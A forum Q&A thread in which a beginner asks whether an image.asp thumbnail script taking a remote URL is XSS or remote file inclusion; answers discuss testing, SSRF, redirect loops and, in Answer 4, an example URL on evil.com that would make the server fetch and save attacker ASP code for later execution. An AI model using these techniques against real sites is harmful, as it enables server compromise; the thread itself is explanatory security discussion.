Would this be considered an XSS or an RFI or nothing?

Question

I'm a beginner network security student and as practice my dad let me look over his personal business online store website.

I found a script called image.asp which when fed a file parameter returns a thumbnail of an image.

Edit: It's used for creating thumbnails of products in his store.

Example: www.example.com/image.asp?file=http://cdn.redalertpolitics.com/files/2012/09/football-300x199.jpg

My question is this considered an RFI , XSS or nothing to be worried about? Should I even tell dad about it?

Thanks

-J

Answer 1

It's hard to say without seeing the code from image.asp or being able to play with the page itself. If you can't post the code here, you can always do a very basic test on your own by providing the URL of a simple javascript file that contains an alert as the image parameter. Again - this is a very basic test. For a more comprehensive test, try doing some fuzzing with a tool like burp suite and understand what you should be looking for.

If you load the page with this parameter and you see an alert, then the site would be vulnerable to either reflected XSS or RFI.

This basically means that someone would have to click on a maliciously crafted link in order for the attack to take place. It isn't as bad as stored XSS, but is is still very serious.

Answer 2

A file inclusion vulnerability requires user supplied values being used to dynamically reference an external script file that is then included and evaluated in the current execution runtime.

However, due to your description of the script’s language and behavior, I doubt that it actually includes and evaluates the given file but rather simply reads the file for later image processing.

Although this won’t get you execute arbitrary code on the server, the image processing may be flawed and you may be able to retrieve local files or files on other systems the server has access to.

Answer 3

It all depends on the code for image.asp. If it really works as intended there's not too much to worry. But perhaps it is possible to inject shell commands, trick it into reading local files…

Another funny question would be: what happens for http://www.example.com/image.asp?file=http://url-shorter/page if http://url-shorter/page itself redirects to http://www.example.com/image.asp?file=http://url-shorter/page?

Answer 4

This does not qualify as a file inclusion vulnerability, however there are a few things worth investigating:

1. Does the image.asp script make a HTTP request to the url provided in the file parameter? If so you have a Server Side Request Forgery (SSRF) vulnerability.
2. Does it write the thumbnail to the local disk with a filename based of the url? If so, imagine that you served some asp code with a .asp extension like this: www.example.com/image.asp?file=http://evil.com/totallyanimage.asp. The attacker could then browse to www.example.com/thumbnail/totallyanimage.asp and execute their asp code.
3. Other variations of the above attack

It really depends on how it's implemented and the experience/creativity of the attacker.

I hope this helps.